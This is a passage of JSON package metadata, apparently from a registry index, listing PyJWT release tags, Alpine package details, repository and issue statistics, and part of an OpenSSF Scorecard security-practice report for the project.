ag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.256Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.468306824414324,"stargazers_count":2.0449737522526052,"forks_count":2.193841573297814,"average":6.426780537491186},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.12","url":"https://pkgs.alpinelinux.org/packages?branch=v3.12","ecosystem":"alpine","default":false,"packages_count":12763,"maintainers_count":216,"namespaces_count":2,"keywords_count":1443,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":482},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.748Z","updated_at":"2026-06-10T05:16:20.001Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.12/namespaces"}},{"id":6065447,"name":"py-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-05-05T12:16:34.000Z","latest_release_published_at":"2019-05-05T12:16:34.000Z","latest_release_number":"1.7.1-r1","last_synced_at":"2026-04-15T02:02:02.583Z","created_at":"2023-01-31T19:17:09.111Z","updated_at":"2026-05-29T04:00:35.267Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.10/main/x86_64/py-jwt","install_command":"apk add py-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned 